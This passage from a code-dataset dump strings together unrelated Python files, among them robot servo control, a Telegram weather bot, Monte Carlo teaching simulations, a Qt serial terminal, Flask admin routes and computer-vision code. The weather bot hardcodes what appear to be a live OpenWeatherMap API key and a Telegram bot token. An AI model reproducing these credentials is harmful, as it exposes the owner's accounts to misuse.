\"LM\":(-1,-1,1),\n \"LR\":(-1,-1,1),\n \"RF\":(1,-1,1),\n \"RM\":(1,-1,1),\n \"RR\":(1,-1,1),\n }\n\n servo_offsets = {\n \"LF\":(0,0,0),\n \"LM\":(0,0,0),\n \"LR\":(0,0,0),\n \"RF\":(0,0,0),\n \"RM\":(0,0,0),\n \"RR\":(0,0,0),\n }\n\n default_offsets = {}\n\n leg_segment_lengths = inki.LEG_LENGTHS\n\n head_servo = 31\n head_offset = 0\n head_sign = -1 # A positive angle is by default looking left, which I find counterintuitive, so switch that around.\n\n def __init__(self):\n self.serial = None\n self.legs = []\n self.leg_map = {}\n self.all_servos = []\n for leg in [\"LF\",\"LM\",\"LR\",\"RF\",\"RM\",\"RR\"]:\n new_leg = Leg(self, servos=self.leg_servos[leg], offsets=self.servo_offsets[leg], signs=self.servo_signs[leg], lengths=self.leg_segment_lengths, origin=(0,0,0))\n setattr(self, leg, new_leg)\n self.legs.append(new_leg)\n self.leg_map[leg] = new_leg\n self.all_servos.extend(new_leg.servos)\n self.head = Head(self, offset=self.head_offset)\n self.all_servos.append(self.head.servo)\n\n def load_default_offsets_from_file(self, fname):\n with open(fname) as f:\n self.load_default_offsets(json.load(f))\n\n def load_default_offsets(self, offsets):\n for servo in self.all_servos:\n servo.offset = offsets.get(str(servo.number), servo.offset)\n\n def connect(self):\n if not self.serial:\n self.serial = find_port(fallback_to_mock=True)\n if not self.serial:\n raise RuntimeError(\"Unable to find usable serial device!\")\n if not self.serial.is_open:\n self.serial.open()\n\n def disconnect(self):\n if self.serial:\n if self.serial.is_open:\n self.serial.close()\n\n def reconnect(self):\n self.disconnect()\n self.connect()\n\n def reset_connection(self):\n self.disconnect()\n self.serial = None\n self.connect()\n\n def connected(self):\n return self.serial and self.serial.is_open\n\n def __enter__(self):\n self.connect()\n return self\n\n def __exit__(self, exc_type, exc_value, traceback):\n self.disconnect()\n\n @needs_hexy\n def _move(self, number, position):\n self.serial.write(move_cmd(number, position))\n\n @needs_hexy\n def _act(self, action):\n self.serial.write(action)\n\n @needs_hexy\n def _stop(self, number):\n self.serial.write(limp_cmd(number))\n\n def _sleep(self, milliseconds):\n if isinstance(self.serial, MockSerial):\n vprint(\"Mock sleeping for {} milliseconds...\".format(milliseconds))\n else:\n time.sleep(float(milliseconds)/1000.0)\n\n @needs_hexy\n def center(self):\n self.serial.write(CENTER)\n\n @needs_hexy\n def stop(self):\n self.serial.write(KILL)\n\n @needs_hexy\n def goto_last_position(self):\n for servo in self.legs+[self.head]:\n servo.goto_last_position()\n self._sleep(50)\n\nclass Servo(object):\n def __init__(self, hexy, number, offset=0, sign=1, start_angle=None):\n self.hexy = hexy\n self.number = number\n self.offset = offset\n self.sign = sign\n # If I switch over to using servos that tell me their position,\n # I can use that in some cases that currently use last_location\n self.last_location = start_angle\n\n def set_abs_position(self, degrees):\n movement = move_cmd(self.number, angle_degrees=degrees, offset=self.offset, sign=self.sign)\n self.hexy._act(movement)\n self.last_location = degrees\n\n def set_rel_position(self, degrees):\n base_position = self.last_location if self.last_location else 0\n self.set_abs_position(base_position + degrees)\n\n def goto_last_position(self):\n self.set_rel_position(0)\n\n def stop(self):\n self.hexy._stop(self.number)\n\n def center(self):\n self.set_abs_position(0)\n\nclass Leg(object):\n def __init__(self, hexy, servos, offsets=(0,0,0), signs=(1,1,1), lengths=(26,49,52), origin=(0,0,0), start_angles=(0,-45,-45)):\n construct = lambda i: Servo(hexy=hexy, number=servos[i], offset=offsets[i], sign=signs[i], start_angle=start_angles[i])\n self.hip_servo = construct(0)\n self.thigh_servo = construct(1)\n self.knee_servo = construct(2)\n self.servos = [self.hip_servo, self.thigh_servo, self.knee_servo]\n self.servo_map = {\n \"hip\":self.hip_servo,\n \"thigh\":self.thigh_servo,\n \"knee\":self.knee_servo\n }\n self.hip_length = lengths[0]\n self.thigh_length = lengths[1]\n self.knee_length = lengths[2]\n self.origin = origin\n\n def stop(self):\n for servo in self.servos:\n servo.stop()\n\n def goto_last_position(self):\n for servo in self.servos:\n servo.goto_last_position()\n\nclass Head(object):\n def __init__(self, hexy, servo=31, offset=0):\n self.servo = Servo(hexy=hexy, number=servo, offset=offset, sign=-1, start_angle=0)\n\n def look(self, degrees):\n '''-90 is all the way to the left, +90 is all the way to the right'''\n self.servo.set_abs_position(degrees)\n\n def turn(self, degrees):\n self.servo.set_rel_position(degrees)\n\n def stop(self):\n self.servo.stop()\n\n def goto_last_position(self):\n self.servo.goto_last_position()\n","repo_name":"stevenorum/hexy-playground","sub_path":"hexy/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":9005,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"30605475273","text":"#!/usr/bin/env python3\n\nimport glob\nimport os\nfrom distutils.dir_util import copy_tree\n\nimport jinja2\nimport yaml\n\nj_envs = {\n \"html\": jinja2.Environment(\n block_start_string=\"\",\n variable_start_string=\"\",\n comment_start_string=\"\",\n trim_blocks=True,\n autoescape=False,\n loader=jinja2.FileSystemLoader(os.path.abspath(\".\")),\n ),\n \"tex\": jinja2.Environment(\n block_start_string=\"\\\\jblock{\",\n block_end_string=\"}\",\n variable_start_string=\"\\\\jvar{\",\n variable_end_string=\"}\",\n comment_start_string=\"\\\\#{\",\n comment_end_string=\"}\",\n line_statement_prefix=\"%%\",\n line_comment_prefix=\"%#\",\n trim_blocks=True,\n autoescape=False,\n loader=jinja2.FileSystemLoader(os.path.abspath(\".\")),\n ),\n \"txt\": jinja2.Environment(\n block_start_string=\"{%\",\n block_end_string=\"%}\",\n variable_start_string=\"{{\",\n variable_end_string=\"}}\",\n comment_start_string=\"{#\",\n comment_end_string=\"#}\",\n trim_blocks=True,\n autoescape=False,\n loader=jinja2.FileSystemLoader(os.path.abspath(\".\")),\n ),\n}\n\nif os.path.isdir(\"src/assets\"):\n copy_tree(\"src/assets\", \"{}\".format(os.environ[\"BUILD_DIR\"]))\n\nfor config in glob.glob(\"src/langs/*.yml\"):\n lang = config.split(os.path.sep)[-1].split(\".yml\")[0]\n config_lang = None\n with open(config, \"r\") as config_fd:\n try:\n config_lang = yaml.safe_load(config_fd)\n except yaml.YAMLError as e:\n print(e)\n\n if config_lang is None:\n print(\"unable to parse {}\".format(config))\n continue\n\n for template in glob.glob(\"src/templates/*.j2\"):\n t_format = template.split(\".\")[-2]\n if t_format not in j_envs:\n print(\"template format {} not supported\".format(t_format))\n continue\n\n t_name = template.split(os.path.sep)[-1].split(\".{}\".format(t_format))[0]\n j_envs[t_format].get_template(template).stream(config_lang).dump(\n \"{}/templates/{}_{}.{}\".format(\n os.environ[\"BUILD_DIR\"], t_name, lang, t_format\n )\n )\n","repo_name":"streambinder/erro","sub_path":".make/template.py","file_name":"template.py","file_ext":"py","file_size_in_byte":2281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"72185338600","text":"import requests \r\nimport json\r\nfrom telegram import Update, Bot\r\nfrom telegram.ext import Updater, CommandHandler, MessageHandler, CallbackContext\r\n\r\nAPI_KEY = 'f70cf4f852b26bbb0fdcf6a01663cc60' \r\n\r\ndef get_weather(city):\r\n url = f'https://api.openweathermap.org/data/2.5/weather?q={city}&appid={API_KEY}'\r\n response = requests.get(url)\r\n data = json.loads(response.text)\r\n\r\n weather = data['weather'][0]['main']\r\n temp = round(data['main']['temp'] - 273.15,2)\r\n\r\n return f'The weather in {city} is {weather} with a temperature of {temp}°C'\r\n\r\ndef start(update: Update, context: CallbackContext):\r\n update.message.reply_text('Hello! I am a weather bot. Send me the name of a city and I will tell you the weather there.')\r\n\r\ndef weather(update: Update, context: CallbackContext):\r\n city = update.message.text\r\n weather_data = get_weather(city)\r\n update.message.reply_text(weather_data)\r\n\r\ndef error(update: Update, context: CallbackContext):\r\n update.message.reply_text('Sorry, I could not understand that city name.')\r\n\r\ndef main():\r\n bot_token = '6416174520:AAHrMkcPQbp-pfPjzey93dxBi6sTfkyvWAk'\r\n updater = Updater(bot_token)\r\n dispatcher = updater.dispatcher\r\n\r\n dispatcher.add_handler(CommandHandler('start', start))\r\n dispatcher.add_handler(MessageHandler(None, weather))\r\n dispatcher.add_error_handler(error)\r\n\r\n updater.start_polling()\r\n updater.idle()\r\n\r\nif __name__ == '__main__':\r\n main()\r\n ","repo_name":"nitin-katta/Weather-Bot","sub_path":"app1.py","file_name":"app1.py","file_ext":"py","file_size_in_byte":1464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"4867996510","text":"\"\"\"\r\nChapter 2 Monte Carlo Simulations\r\n\"\"\"\r\n#import Python libraries\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt \r\nimport numpy as np\r\nimport scipy as sp\r\nimport seaborn as sns\r\n\r\n\r\n\r\n\"\"\"\r\nBirthday paradox (analytic solution)\r\n\"\"\"\r\n#a function to calculate the probability p given n number of people\r\ndef probsamebirthday(n):\r\n q = 1\r\n for i in range(1, n):\r\n probability = i / 365\r\n q *= (1 - probability)\r\n p = 1 - q\r\n return(p)\r\n\r\n#runs the function for n=23. feel free to change the value of n.\r\nprobsamebirthday(23)\r\n\r\n\r\n\r\n\r\n\"\"\"\r\nBirthday paradox (numerical solution)\r\n\"\"\"\r\n#fix the random seed to ensure reproducibility\r\nnp.random.seed(0)\r\n\r\n#a function to check for duplicates in a list of birthdays\r\ndef contains_duplicates(X):\r\n return len(np.unique(X)) != len(X) \r\n\r\n\r\n#specify no. of people and trials. feel free to change the values.\r\nn_people=23\r\nn_trials=5000\r\n\r\n\r\n#a for-loop to generate birthdays and calculate the probability for the specified no. of people and trials\r\nlist=[]\r\n\r\nfor i in range (0,n_trials):\r\n #loop through the number of trials. For each, draw random birthdays for n_people\r\n dates = np.random.choice(range(1,366), size=(n_people))\r\n #use the function above to check for duplicates in each trial, appending the result to list\r\n list.append(contains_duplicates(dates)) \r\n\r\n#calculate the final probability as the fraction of all trials where there are duplicates\r\nprobability=len([p for p in list if p == True]) / len(list)\r\nprint(\"With\", n_trials, \"trials, probability of at least one shared bday among\",n_people,\"people =\", probability)\r\n\r\n\r\n\r\n#a more complex for-loop to track and plot the probability for an increasing number of trials from 0 to n_trials\r\nn_people=23\r\nn_trials=5000\r\ntrial_count = 0\r\nshared_birthdays = 0\r\nprobabilities = []\r\n\r\n\r\nfor experiment_index in range(0,n_trials):\r\n dates = np.random.choice(range(1,366), size=(n_people))\r\n if contains_duplicates(dates):\r\n shared_birthdays+=1 \r\n trial_count += 1 \r\n probability = shared_birthdays/trial_count\r\n probabilities.append(probability)\r\n\r\n#plot the outcome (probability) for an increasing number of trials\r\nplt.plot(probabilities)\r\nplt.title(\"Outcome of \" +str(n_trials)+\" trials converging to p=\" + str(probabilities[-1]))\r\nplt.show()\r\n\r\n\r\n\r\n\"\"\"\r\nCasino roulette simulation\r\n\"\"\"\r\n#fix the random seed to ensure reproducibility\r\nnp.random.seed(0)\r\n\r\n#a function to calculate winnings per spin\r\ndef winnings(x):\r\n if x<=55:\r\n return -1\r\n else:\r\n return 1\r\n\r\n\r\n#specify no. of spins per set and no. of sets. feel free to change the values.\r\nspins=100\r\nsets=1000\r\n\r\n\r\n#a for-loop to spin the wheel, calculate and keep track of winnings \r\nlist=[]\r\n\r\nfor i in range(0,sets):\r\n #loop through the number of sets and spin the specified number of times\r\n x=np.random.uniform(1,100,spins) \r\n #keep track of spin outcomes in a dataframe\r\n df=pd.DataFrame(data={'x':x})\r\n #use the function above to determine amount won per spin\r\n df['Winning']=df['x'].apply(winnings)\r\n #sum the amount won for all spins, to obtain and record the total winnings per set\r\n list.append([df['Winning'].sum()])\r\n\r\n#plot the distribution of winnings over all the sets\r\nax=sns.distplot(list,kde=False)\r\nax.set(xlabel='Winnings', ylabel = 'No. of sets ('+str(spins)+' spins each)')\r\nax.axvline(x=np.mean(list), color='blue', label='Mean', linestyle='dotted', linewidth=2)\r\nax.legend()\r\nplt.title('Mean winnings=' +str(np.mean(list)) + '\\n St dev winnings=' +str(np.round(np.std(list),decimals=3)))\r\n\r\n\r\n\r\n\"\"\"\r\nMCS\r\n\"\"\"\r\n\r\n#Generate random training set\r\ndata=pd.read_csv('40_sessions.csv',index_col='Session')\r\nfrom sklearn.model_selection import train_test_split\r\ntrain,test=train_test_split(data,test_size=0.25,random_state=None)\r\ntrain.to_csv('train_random.csv')\r\ntest.to_csv('validation_random.csv')\r\n\r\n\r\n#load data\r\ndata=pd.read_csv('train_A.csv',index_col='Session')\r\n\r\n#calculate parameters for each variable \r\nana_avg = np.mean(data.Analytic)\r\nana_sd = np.std(data.Analytic)\r\nauth_avg = np.mean(data.Authentic)\r\nauth_sd = np.std(data.Authentic)\r\nclout_avg = np.mean(data.Clout)\r\nclout_sd = np.std(data.Clout)\r\ntone_avg = np.mean(data.Tone)\r\ntone_sd = np.std(data.Tone)\r\n\r\n#specify no. of sessions and simulations. feel free to change the values.\r\nnum_sessions = 40\r\nnum_simulations = 5000\r\n\r\n\"\"\"\r\nOption 1: Simulation without stratified sampling for variance reduction. More straightforward\r\n\"\"\"\r\n\r\n#a for-loop to draw random variable scores for sessions, calculate and keep track of the mean scores\r\nnp.random.seed(0)\r\nallstats=[]\r\nfor i in range (num_simulations):\r\n \r\n #loop through the number of simulations, drawing random values for each variable\r\n analytic= np.random.normal(ana_avg, ana_sd, num_sessions)\r\n authentic= np.random.normal(auth_avg, auth_sd, num_sessions)\r\n clout= np.random.normal(clout_avg, clout_sd, num_sessions)\r\n tone= np.random.normal(tone_avg, tone_sd, num_sessions)\r\n #keep track of simulated scores in a dataframe\r\n df=pd.DataFrame(index=range(num_sessions),data={'Analytic':analytic, 'Authentic':authentic, 'Clout':clout, 'Tone':tone}) \r\n #calculate and store the mean scores \r\n allstats.append([df['Analytic'].mean(),df['Authentic'].mean(),df['Clout'].mean(),df['Tone'].mean()])\r\n \r\n \r\n\"\"\"\r\nOption 2: Simulation with stratified sampling for variance reduction. More complicated\r\n\"\"\"\r\n#specify number of strata\r\nnum_strata = 10\r\n \r\n#a for-loop to draw random variable scores for sessions, calculate and keep track of the mean scores\r\nnp.random.seed(0)\r\nallstats=[]\r\nfor i in range (num_simulations):\r\n\r\n #distribute num_sessions evenly along num_strata\r\n L=int(num_sessions/num_strata)\r\n #allocate the probability space 0-1 evenly among the strata\r\n lower_limits=np.arange(0,num_strata)/num_strata\r\n upper_limits=np.arange(1, num_strata+1)/num_strata\r\n #generate random numbers that are confined to the allocated probability space within each stratum. each random number represents the cumulative distribution function for a normal distribution\r\n points=np.random.uniform(lower_limits, upper_limits, size=[int(L),num_strata]).T\r\n #create a vector of z-scores, each corresponding to the CDF values calculated above\r\n normal_vector=sp.stats.norm.ppf(points)\r\n \r\n #For each of the four summary variables, generate a vector of normally distributed scores (one score per session) using the normal vector above\r\n analytic_vector=ana_avg+(ana_sd*(normal_vector))\r\n analytic_strata_mean=np.mean(analytic_vector, axis=1)\r\n analytic=np.mean(analytic_strata_mean)\r\n \r\n authentic_vector=auth_avg+(auth_sd*(normal_vector))\r\n authentic_strata_mean=np.mean(authentic_vector, axis=1)\r\n authentic=np.mean(authentic_strata_mean)\r\n \r\n clout_vector=clout_avg+(clout_sd*(normal_vector))\r\n clout_strata_mean=np.mean(clout_vector, axis=1)\r\n clout=np.mean(clout_strata_mean)\r\n \r\n tone_vector=tone_avg+(tone_sd*(normal_vector))\r\n tone_strata_mean=np.mean(tone_vector, axis=1)\r\n tone=np.mean(tone_strata_mean)\r\n #keep track of simulated scores in a dataframe\r\n df=pd.DataFrame(index=range(num_sessions),data={'Analytic':analytic, 'Authentic':authentic, 'Clout':clout, 'Tone':tone}) \r\n #calculate and store the mean scores \r\n allstats.append([df['Analytic'].mean(),df['Authentic'].mean(),df['Clout'].mean(),df['Tone'].mean()])\r\n\r\n\r\n#convert to dataframe and summarize final outcomes\r\nresults_df=pd.DataFrame.from_records(allstats,columns=['Analytic','Authentic','Clout','Tone']) \r\nresults_df.describe().round(3)\r\n \r\n\r\n#plot histograms of final outcomes\r\nfig,axes=plt.subplots(2,2)\r\nfig.suptitle('Simulation (B)')\r\nsns.distplot(results_df.Analytic,kde=False,ax=axes[0,0],axlabel='Analytical thinking')\r\nsns.distplot(results_df.Authentic,kde=False,ax=axes[0,1],axlabel='Authenticity')\r\nsns.distplot(results_df.Clout,kde=False,ax=axes[1,0],axlabel='Clout')\r\nsns.distplot(results_df.Tone,kde=False,ax=axes[1,1],axlabel='Emotional tone')\r\naxes[0,0].text(0.5,0.5,f'M={np.round(np.mean(results_df.Analytic),3)},SD={np.round(np.std(results_df.Analytic),3)}', \r\n ha=\"center\", va=\"top\",transform=axes[0,0].transAxes) \r\naxes[0,1].text(0.5,0.5,f'M={np.round(np.mean(results_df.Authentic),3)},SD={np.round(np.std(results_df.Authentic),3)}', \r\n ha=\"center\", va=\"top\",transform=axes[0,1].transAxes) \r\naxes[1,0].text(0.5,0.5,f'M={np.round(np.mean(results_df.Clout),3)},SD={np.round(np.std(results_df.Clout),3)}', \r\n ha=\"center\", va=\"top\",transform=axes[1,0].transAxes) \r\naxes[1,1].text(0.5,0.5,f'M={np.round(np.mean(results_df.Tone),3)},SD={np.round(np.std(results_df.Tone),3)}', \r\n ha=\"center\", va=\"top\",transform=axes[1,1].transAxes)\r\n\r\n\r\n\r\n#perform Welch's t-test for validation\r\nvalid=pd.read_csv('validation_A.csv',index_col='Session')\r\nsp.stats.ttest_ind(results_df.Analytic, valid.Analytic, equal_var=False) #Analytic\r\nsp.stats.ttest_ind(results_df.Authentic, valid.Authentic, equal_var=False) #Authentic\r\nsp.stats.ttest_ind(results_df.Clout, valid.Clout, equal_var=False) #Clout\r\nsp.stats.ttest_ind(results_df.Tone, valid.Tone, equal_var=False) #Tone\r\n\r\n#Join the two dataframes (results_df and valid) to prepare barplots\r\njoint = pd.concat([results_df, valid], axis=0, ignore_index=False)\r\njoint['Dataset'] = (len(results_df)*('Simulated set',) + len(valid)*('Validation set',))\r\n\r\n#plot simulated and validation set variable means\r\njoint.groupby('Dataset').mean().plot(kind='bar',title='Validation (A)').legend(loc='best')\r\nplt.xticks(fontsize=10,rotation=0)\r\nplt.yticks(fontsize=10,rotation=0)\r\nplt.legend(fontsize=10)\r\n\r\n\r\n\r\n","repo_name":"dennistay1981/Resources","sub_path":"Code and data in publications/Book: Data Analytics for Discourse Analysis with Python/Chapter 2 MCS.py","file_name":"Chapter 2 MCS.py","file_ext":"py","file_size_in_byte":9699,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"7506036390","text":"from PySide6.QtCore import QSize, Qt, QEvent\nfrom PySide6.QtGui import QKeySequence, QAction, QIcon, QPixmap\nfrom PySide6.QtWidgets import (QComboBox, QHBoxLayout, QLabel, QMainWindow,\n QPlainTextEdit, QPushButton, QVBoxLayout,\n QWidget, QStatusBar, QToolBar)\n\n\n# =============================================================================\n# CONSTANTS\n# =============================================================================\nMAIN_WINDOW_TITLE = 'QSerTer'\nMAIN_WINDOW_MIN_SIZE = QSize(400, 300)\n\nDEFAULT_BAUDRATES = ['9600', '19200', '115200']\n\nKEYS_TO_BYPASS = [Qt.Key.Key_PageUp,\n Qt.Key.Key_PageDown,\n Qt.Key.Key_Home,\n Qt.Key.Key_End]\n\nTOOLBAR_LABEL_PADDING = 5 # [pixel]\n\nclass UI_SerialTerminal(QMainWindow):\n def __init__(self):\n super().__init__()\n\n self.setWindowTitle(MAIN_WINDOW_TITLE)\n self.setMinimumSize(MAIN_WINDOW_MIN_SIZE)\n self.setWindowIcon(QIcon('./resources/icons/rs232.jpg'))\n\n self.central_widget = QWidget()\n\n # =====================================================================\n # Toolbar\n # =====================================================================\n self.toolbar = QToolBar()\n self.toolbar.setMovable(False)\n self.toolbar.toggleViewAction().setVisible(False)\n\n self.port_lbl = QLabel('Port')\n self.port_lbl.setAlignment(Qt.AlignVCenter | Qt.AlignHCenter)\n self.port_lbl.setStyleSheet(f'padding :{TOOLBAR_LABEL_PADDING}px')\n self.toolbar.addWidget(self.port_lbl)\n self.port_dropdown = QComboBox()\n self.port_dropdown.setStatusTip('Select serial port')\n self.toolbar.addWidget(self.port_dropdown)\n\n self.refresh_action = QAction(QIcon('./resources/icons/refresh.jpg'), 'Refresh button', self)\n self.refresh_action.setStatusTip('Refresh serial port list')\n self.toolbar.addAction(self.refresh_action)\n\n self.baud_lbl = QLabel('Baudrate')\n self.baud_lbl.setStyleSheet(f'padding :{TOOLBAR_LABEL_PADDING}px')\n self.toolbar.addWidget(self.baud_lbl)\n self.baud_dropdown = QComboBox()\n self.baud_dropdown.setStatusTip(\n 'Select baudrate for serial connection'\n )\n self.baud_dropdown.addItems(DEFAULT_BAUDRATES)\n self.baud_dropdown.setCurrentIndex(2)\n self.toolbar.addWidget(self.baud_dropdown)\n \n self.connect_action = QAction('>>>', self)\n self.connect_action.setStatusTip('Establish serial connection')\n self.toolbar.addAction(self.connect_action)\n\n self.disconnect_action = QAction('< 0)\n print(answers)\n\n return render_template('admin/answer/admin_answer.html', answers=answers,\n total_answers=total_answers, per_page=per_page,\n pages=pages, page=page)\n\n\n@bp.route('/add_answer', methods=['GET', 'POST'])\n@admin_login_required\ndef add_answer():\n print(request.method)\n\n if request.method == 'POST':\n print(request.form)\n form = AnswerForm(request.form)\n new_answer = AnswerModel(\n question_id=form.question_id.data,\n content=form.content.data,\n author_id = '111'\n )\n\n db.session.add(new_answer)\n db.session.commit()\n flash('New question was added successfully!', 'success')\n return redirect(url_for('admin_answer.index'))\n return render_template('admin/answer/add_answer.html')\n\n\n@bp.route('/delete_answer/', methods=['GET', 'POST'])\n@admin_login_required\ndef delete_answer(answer_id):\n answer = AnswerModel.query.get_or_404(answer_id)\n db.session.delete(answer)\n db.session.commit()\n return redirect(url_for('admin_answer.index'))\n","repo_name":"yangxir/flask-communication","sub_path":"AI+X/blueprints/admin/admin_answers.py","file_name":"admin_answers.py","file_ext":"py","file_size_in_byte":1864,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"25154047778","text":"scrimTableheaders = [\n 'Map',\n 'Section',\n 'Point',\n 'RoundName',\n 'Timestamp',\n 'Team',\n 'Player',\n 'Hero',\n 'HeroDamageDealt', \n 'BarrierDamageDealt', \n 'DamageTaken', \n 'Deaths', \n 'Eliminations',\n 'FinalBlows',\n 'EnvironmentalDeaths',\n 'EnvironmentalKills', \n 'HealingDealt', \n 'ObjectiveKills', \n 'SoloKills', \n 'UltimatesEarned', \n 'UltimatesUsed',\n 'HealingReceived', \n 'UltimateCharge',\n 'Cooldown1',\n 'Cooldown2',\n 'CooldownSecondaryFire',\n 'CooldownCrouching',\n 'IsAlive',\n 'TimeElapsed',\n 'Position',\n 'MaxHealth',\n 'DeathByHero',\n 'DeathByAbility',\n 'DeathByPlayer',\n 'Resurrected',\n 'DuplicatedHero',\n 'DuplicateStatus',\n 'Health',\n 'DefensiveAssists',\n 'OffensiveAssists',\n]\n\nheader_match_to_scrim = {\n 'esports_match_id':'MatchId',\n 'map_name':'Map',\n 'num_round':'Section',\n 'round_name':'RoundName',\n 'time':'Timestamp',\n 'team_name':'Team',\n 'player_name':'Player',\n 'hero_name':'Hero',\n 'ultimate_percent':'UltimateCharge',\n 'is_alive':'IsAlive',\n 'health':'Health', \n 'map_winner':'MapWinner',\n 'match_winner':'MatchWinner',\n 'match_loser':'MatchLoser'\n}\n\nssg_dict_AllHeroes = {\n 'TimePlayed':38,\n 'HeroDamageDealt':1208,\n 'BarrierDamageDealt':1302,\n 'HeroDamageTaken':1564,\n 'Deaths':41,\n 'Eliminations':37,\n 'FinalBlows':44,\n 'EnvironmentalDeaths':871,\n 'EnvironmentalKills':867,\n 'HealingDealt':465,\n 'ObjectiveKills':806,\n 'SoloKills':46,\n 'UltimatesEarned':1124,\n 'UltimatesUsed':1125,\n 'HealingReceived':1716,\n 'DefensiveAssists':791,\n 'OffensiveAssists':792\n}\n\nssg_dict = {\n 'TimePlayed':33,\n 'HeroDamageDealt':1207,\n 'BarrierDamageDealt':1301,\n 'HeroDamageTaken':401,\n 'Deaths':42,\n 'Eliminations':31,\n 'FinalBlows':43,\n 'EnvironmentalDeaths':869,\n 'EnvironmentalKills':866,\n 'HealingDealt':449,\n 'ObjectiveKills':796,\n 'SoloKills':45,\n 'UltimatesEarned':1122,\n 'UltimatesUsed':1123,\n 'HealingReceived':1716,\n 'DefensiveAssists':986,\n 'OffensiveAssists':980\n}\n\nclass MatchFinalStat:\n '''\n fromGameResult = [\n 'esports_match_id',\n 'start_time',\n 'end_time',\n 'num_map',\n 'map_name',\n 'map_type',\n 'map_winner',\n 'team_one_name',\n 'team_two_name',\n 'team_one_score',\n 'team_two_score'\n ]\n fromGameInfo = [\n 'esports_match_id',\n 'time',\n 'num_map',\n 'map_name',\n 'num_round',\n 'round_name',\n 'attacking_team_name',\n 'team_one_payload_distance',\n 'team_two_payload_distance',\n 'team_one_time_banked',\n 'team_two_time_banked',\n 'context' # filter with 'END_ROUND'\n ]\n fromPlayerStatus = [\n 'esports_match_id',\n 'time',\n 'num_map',\n 'team_name',\n 'player_name',\n 'hero_name',\n 'health',\n 'ultimate_percent',\n 'is_alive'\n ]\n '''","repo_name":"yongcheoljeong/owl-match-stat-log","sub_path":"Match_Scrim_Trans_Info.py","file_name":"Match_Scrim_Trans_Info.py","file_ext":"py","file_size_in_byte":3061,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"13623545621","text":"import collections\nimport itertools\n\n\ndef ranger(a, b):\n if a > b:\n return range(a, b - 1, -1)\n return range(a, b + 1)\n\n\nwith open(\"05.in\") as f:\n input = (x.strip() for x in f.readlines())\n\nc1 = collections.Counter()\nc2 = collections.Counter()\nfor l in input:\n x1, y1, x2, y2 = (int(x) for x in l.replace(\"->\", \",\").split(\",\"))\n if x1 == x2 or y1 == y2: # Horizontal or vertical\n points = list(itertools.product(ranger(x1, x2), ranger(y1, y2)))\n c1.update(points)\n c2.update(points)\n\n else: # Assume diagonal\n points = zip(ranger(x1, x2), ranger(y1, y2))\n c2.update(points)\n\nprint(sum(x > 1 for x in c1.values()))\nprint(sum(x > 1 for x in c2.values()))\n","repo_name":"heinerud/aoc21","sub_path":"05.py","file_name":"05.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22623941304","text":"from skimage import feature, color, transform, io\nimport numpy as np\nimport logging\nimport matplotlib.pyplot as plt\n\n\ndef compute_edgelets(image, sigma=3):\n gray_img = color.rgb2gray(image)\n edges = feature.canny(gray_img, sigma)\n lines = transform.probabilistic_hough_line(edges, line_length=50,\n line_gap=10)\n\n locations = []\n directions = []\n strengths = []\n\n for p0, p1 in lines:\n p0, p1 = np.array(p0), np.array(p1)\n locations.append((p0 + p1) / 2)\n directions.append(p1 - p0)\n strengths.append(np.linalg.norm(p1 - p0))\n\n # convert to numpy arrays and normalize\n locations = np.array(locations)\n directions = np.array(directions)\n strengths = np.array(strengths)\n\n directions = np.array(directions) / \\\n np.linalg.norm(directions, axis=1)[:, np.newaxis]\n\n return (locations, directions, strengths)\n\n\ndef edgelet_lines(edgelets):\n locations, directions, _ = edgelets\n normals = np.zeros_like(directions)\n normals[:, 0] = directions[:, 1]\n normals[:, 1] = -directions[:, 0]\n p = -np.sum(locations * normals, axis=1)\n lines = np.concatenate((normals, p[:, np.newaxis]), axis=1)\n return lines\n\n\ndef compute_votes(edgelets, model, threshold_inlier=5):\n vp = model[:2] / model[2]\n\n locations, directions, strengths = edgelets\n\n est_directions = locations - vp\n dot_prod = np.sum(est_directions * directions, axis=1)\n abs_prod = np.linalg.norm(directions, axis=1) * \\\n np.linalg.norm(est_directions, axis=1)\n abs_prod[abs_prod == 0] = 1e-5\n\n cosine_theta = dot_prod / abs_prod\n cosine_theta = np.abs(cosine_theta)\n cosine_theta = np.where(cosine_theta>1, 1, cosine_theta)\n theta = np.arccos(cosine_theta)\n\n theta_thresh = threshold_inlier * np.pi / 180\n return (theta < theta_thresh) * strengths\n\n\ndef ransac_vanishing_point(edgelets, num_ransac_iter=3000, threshold_inlier=10):\n locations, directions, strengths = edgelets\n lines = edgelet_lines(edgelets)\n\n num_pts = strengths.size\n\n arg_sort = np.argsort(-strengths)\n first_index_space = arg_sort[:num_pts // 5]\n second_index_space = arg_sort[:num_pts // 2]\n\n best_model = None\n best_votes = np.zeros(num_pts)\n\n for ransac_iter in range(num_ransac_iter):\n ind1 = np.random.choice(first_index_space)\n ind2 = np.random.choice(second_index_space)\n\n l1 = lines[ind1]\n l2 = lines[ind2]\n\n current_model = np.cross(l1, l2)\n\n if np.sum(current_model**2) < 1 or current_model[2] == 0:\n # reject degenerate candidates\n continue\n\n current_votes = compute_votes(\n edgelets, current_model, threshold_inlier)\n\n if current_votes.sum() > best_votes.sum():\n best_model = current_model\n best_votes = current_votes\n logging.info(\"Current best model has {} votes at iteration {}\".format(\n current_votes.sum(), ransac_iter))\n\n return best_model\n\n\ndef remove_inliers(model, edgelets, threshold_inlier=10):\n inliers = compute_votes(edgelets, model, 10) > 0\n locations, directions, strengths = edgelets\n locations = locations[~inliers]\n directions = directions[~inliers]\n strengths = strengths[~inliers]\n edgelets = (locations, directions, strengths)\n return edgelets\n\n\ndef vis_edgelets(image, edgelets, show=True):\n plt.figure(figsize=(10, 10))\n plt.imshow(image)\n locations, directions, strengths = edgelets\n for i in range(locations.shape[0]):\n xax = [locations[i, 0] - directions[i, 0] * strengths[i] / 2,\n locations[i, 0] + 